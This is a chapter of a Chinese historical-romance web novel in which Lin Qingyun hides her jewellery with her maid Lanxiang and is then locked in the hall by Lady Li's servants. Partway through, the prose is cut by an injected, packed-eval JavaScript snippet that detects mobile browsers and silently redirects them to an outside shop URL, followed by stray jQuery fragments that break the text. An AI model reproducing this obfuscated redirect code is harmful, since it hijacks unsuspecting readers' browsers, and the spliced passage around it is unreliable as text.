林青云这一夜睡得不大安生,辗转反侧了一整夜,以至于起身时候身上还软绵绵的没什么力气,稀里糊涂用过朝食便坐到了铜镜前兴叹。

    也不知道李夫人打的什么算盘。她不禁大吁一口气,索性将头发全撩到脑后去。

    “娘子,咱们叹气也不是个事……”兰香便道,“还是先梳头吧,今日梳个什么发式好?”

    她这话不说也罢了,说出口林青云反倒更头疼起来,捂着脸不想听。

    “娘子……”兰香便只好又唤了一声。

    “……”镜子里的人拉长了一张脸,同镜外之人对视了许久才道:“梳个双鬟望仙髻吧,瞧着干净利落些。若三郎今日真能归家,少不得要替他寻个大夫来瞧瞧伤处,再给他准备些滋补药膳养着,裴颂之这两日也不知如何折腾过三郎,衣裳也寻利落些的便是。”

    若李夫人另有所图要休她出门……利落些也好迅速搜刮了金银首饰再出门。可别怪她,这世道谁不要点钱财傍身呢。

    至于裴颂之……呸,最好是往后都不要与这等人扯上关系。削尖了脑袋向上攀附的狠人,做起事来能有多少情面?以后说不得还要如何报复当年退婚之恨呢。

    林青云暗暗腹诽,从妆奁里挑了几支长金钗缀在发髻上,又选了几支小花钗点上发鬓——无论如何多插戴几支是没错的。

    “娘子,今日花钿选哪个?”兰香瞧她自己插戴起首饰,便先取了花钿胭脂等物来。

    “今日以胭脂画上去便是了,哎,那米珠留下,正好贴着眉心。”

    林青云招招手,叫兰香挑出来一粒细小米珠放到一边,才取来眉黛胭脂描眉晕腮。待一副妆容点好,镜中已然有了个唇红齿白,杏脸桃腮的美娇娘。

    “娘子说着不想梳妆,却还是妆扮得好看。”兰香笑道,替林青云收拾了妆奁才往衣橱里去挑衣裳,“依着我看,娘子今日便着那间色裙吧,正是时兴的款式,好配一件织锦陌腹,还有之前裁的织锦镶边的褙子也好看。”

    林青云瞧着便打趣道:“这般张扬,不怕李夫人又骂来一个狗血淋头?我想想怎么说,嗯……‘三郎今日才归家你便如此人前招摇,真是半点也不体恤丈夫,我崔家的祖业都教你们败了’!”

    “可这些都是郎君买给娘子的,郎君喜欢嘛!”兰香便笑道,早早取了这几件衣裳来给林青云围上,“郎君喜欢,夫人说什么也便随她去,娘子不是一直这样?”

    这小妮子,她这阳奉阴违的本事是给学全了。林青云不由失笑,与兰香滚作一团,将床铺滚乱了才总算歇下来笑道:“好了好了,再不更衣要误时辰了,不好教夫人等着,给她拿了错处。”

    “也是,”兰香这下有些泄气,不由便叹了一声,“娘子还是先更衣。”

    “嗯,你出门去看看,夫人派来那几个嬷嬷是不是还在门口。”

    “是。”兰香出门看时,看守的几个嬷嬷倒没了踪影,只是院门还锁着,不许人进出。

    李夫人这是怕极了她会逃跑似的。

    “你先拿两块软布来,将首饰匣子里值钱的那几样都包上,以防万一,分两包。”林青云低声道,“今日可不知李夫人在想什么,都备着些。”

    兰香倒有些怕了:“啊,娘子,那郎君……”

    “这不是以防万一么,三郎若是回来了自然皆大欢喜,若是不能,李夫人要将我们扫地出门呢?包几件值钱的也不显眼。”林青云压低了声音,“来了人就说我还在梳妆,总之昨日也是李夫人要我打扮好些,她总不能还要挑刺。”

    “是……”兰香给林青云瞪了一眼,只好怯怯开了妆奁,将林青云值钱的几件金银首饰包了揣进怀里,“娘子,咱们这样不会被发现吧……”

    “发不发现的都再说!”林青云飞速系好衣带,顺便从桌上抄了一包兰香才包好的首饰,自己在裙下系上一包,一面张着眼睛往窗外看去,只听得“嘎拉”几声响,是院门锁开了,进来几个仆妇。

    那几个仆妇唤道:“娘子,夫人派我等来接娘子出门迎郎君。”

    来了!

    林青云慌忙应道:“还在梳妆呢,劳烦几位稍候。”

    她推开窗户对外笑了笑,果真还有一边眉毛没勾完,又转头与兰香道:“你现在就赶紧揣上,不用管剩下的了!”

    “是、是……!”兰香慌忙将软缎包一把塞进裙子底下,正好在裙下胸前鼓出来一块,吓得她赶紧抱着胸。

    “娘子今日梳妆仔细,”为首的仆妇笑道,带着其余两人候在门口,“郎君见了必定喜欢。”

    三郎什么时候不喜欢她了?这不废话么。林青云撇撇嘴,面上却是应道:“既然是母亲交代了,青云不敢不遵从,想着这几件衣裳是三郎所赠,今日便正好穿着迎三郎归家。想来三郎这几日也劳累了不少,待他回来,总得好生服侍他一场呢。”

    她这话说得讨巧,几个仆妇当即便了然笑起来,忙道:“娘子说的是,说的是。”

    “你好了么!”青云往背后一望,见兰香还抱着裙子不由好笑,“你找条带子绑在肚子上呀!”

    “哎,还真是……!”兰香恍然大悟,慌忙又去扯了条披帛,将这包首饰绑在肚子上。

    如此一来,裙下鼓起瞧去便自然许多,再没人能看出来兰香还偷揣了一包金银。

    这样即使李夫人要赶她出门,好歹也能有点傍身钱。至于后头怎么样……也只有走一步看一步了。

    林青云长叹一声,跺了几下脚,总算撑起来一个笑面推门出去:“让几位久等了,想来母亲已在堂中等候多时,我们现在便去见过母亲吧。”

    “娘子不急,”仆妇笑道,“夫人还在用朝食,娘子与我等先去前院便是,我等为娘子引路。”

    林青云眉头一皱,望向领头的那个仆妇。

    身形健壮,膀大腰圆,瞧着便是做粗活的。

    她不由心下一凛,转瞬便笑道:“那是自然,既然母亲还在用朝食,我先去也是一样的,兰香——”

    “哎,”兰香慌忙应了一声跟着跑出来,“娘子我们这就去前院么?”

    “正是呢,”又一个仆妇笑道,“兰香姑娘,我们现在便先一步去前院堂屋,等着三郎君归家。”

    林青云给兰香递了个眼色:“兰香,过来。”

    “是,娘子。”兰香赶忙扶上林青云手肘。

    “几位妈妈,我们这就走吧。”林青云笑道,率先往前迈了一步。

    谁知道这几个仆妇反倒有些慌张似的,对视了几眼才想起来应声:“哎,哎,是,是……我们这就走,这就走……”

    从崔时清单住的小院到前院路不长——崔府算不得很大,在宣阳坊这一片世家大族的宅院里不过中等,大小是中等,规制也是中等,倒正好应了崔氏这一支如今的官位中等,人丁中等,更没几个人能在朝中说上话,只有个大族的名望当金字招牌。

    自从圣上废后再立,堂前宠臣就换过一批,崔氏这几个男人都没跟上这次风头,便也只能在朝中当个跟风的哑巴。

    若非如此,裴颂之未必敢直接与崔时清下手。

    “瞧着兰香姑娘这几日不见,倒是丰腴了些。”一个仆妇见林青云在前头只微笑走路半句话也不多说不由开了口,“真是女大十八变呢。”

    兰香听着不由便是一抖,教林青云瞪了一眼。

    “兰香也到这年纪了,些微丰满些也是有的,”林青云不慌不忙接过话头笑道,

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17574416|204843||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    “只怕过两年又要慢慢消瘦下来了,咱们女人,大多是这样的,妈妈们也是这年纪走过来的,想来也不陌生。”

    “是,是啊,从前当姑娘身子便轻些,生养了才重的,”为首的仆妇也笑道,“娘子是还没生养过,待生养过便明白了,生养过的身子总是与之前不大一样。”

    林青云又往前赶了几步,随口乱说起来:“啊唷,说来我之前也与三郎商议过是该到年纪生养一个了,只是三郎总说还要调理一阵子,这回三郎遭了难,恐怕还得好生将养一段时日才行,此事还得往后拖着。”

    “唉,”仆妇说着也不由叹气,“我们这一房便是人丁不旺,夫人不过大郎君与三郎君两个,偏生两个郎君房里都还没消息……唉,也不知什么时候能好些。”

    好?林青云心下冷笑,她这还是三郎的娘子就给李夫人天天训斥几顿,大嫂当宗妇的更是一日三次少不得的训诫立规矩,她就跟着瞧两日都犯恶心。偏生大嫂是郑氏的娘子,自小那般礼节规矩熏陶出来的,哭也不敢哭,更不敢同大哥诉苦,就默默受着,人都日日憔悴下去,看着就心疼。

    有李夫人在这宅子里,她看这崔府是好不到哪去的。

    呸!

    林青云暗地里早将李夫人骂了个狗血淋头,面上却还是笑道:“总会好的,夫人总是撑着这个家呢。”

    “是啊……夫人这么多年也不容易……”仆妇不由感叹了几句,引着林青云进了堂屋,给林青云布了块坐榻笑道,“娘子稍候,我等与娘子取些茶点来,娘子先用着,打发些辰光。”

    “嗯。”林青云随口应了一声便坐下,四处打量起堂屋陈设来。她不是第一次来这堂屋,本也没什么好看,不过明间里摆基础待客坐榻,两旁是茶室书斋之类。

    只是她今日总觉哪里不大对,明间里头仿佛有什么地方与平日不同了。

    但她一时半刻却看不出什么不同。

    她不由得微微皱了眉头。

    “娘子……”兰香轻声唤道,“娘子……”

    “怎么了?”

    兰香唤了好几声,林青云才终于回头看向兰香。

    “那几个嬷嬷都走了……”兰香有些怯怯的。

    林青云满面狐疑道:“走便走了,有什么奇怪?”

    “我不知道,我只是觉得不太对劲……”兰香目光乱飞,“这间屋子好像不对劲……”

    对,不对劲。

    林青云沉下眉毛。

    好像是有些太安静了。

    安静得没有人声。

    对!

    是太安静了!

    堂屋这等待客之所里竟然没有一个伺候的仆妇小厮!

    不对劲!这不是崔府的做派!

    林青云猛然反应过来奔向门口。

    “吱呀”。

    屋门已从外关起来了。

    “咔嗒”。

    几声金件相击的声音从外传来。她这几日已听过多次了,不会听错的。

    是铜锁。

    李夫人将她锁在堂屋里了。

    “你们锁门做什么!”林青云猛拍起房门来,“放我出去!”

    “娘子,夫人说对不住你,到底三郎君要平安归来,也只能出此下策了,日后自会多补偿娘子些金银的。”仆妇在外叹道,“娘子莫要怪罪夫人。”

    “干什么!”林青云心下发毛,索性一脚踹上房门,却给震得脚上发麻。

    崔家这宅子修得倒很坚固!

    门外却已没有人声了,只有几束灰白的晨光透过窗纸落进来,照着明间里摆放的坐榻与屏风。

    骤然间一声轻响,吓得林青云一跳。

    “呵。”

    这房里有人!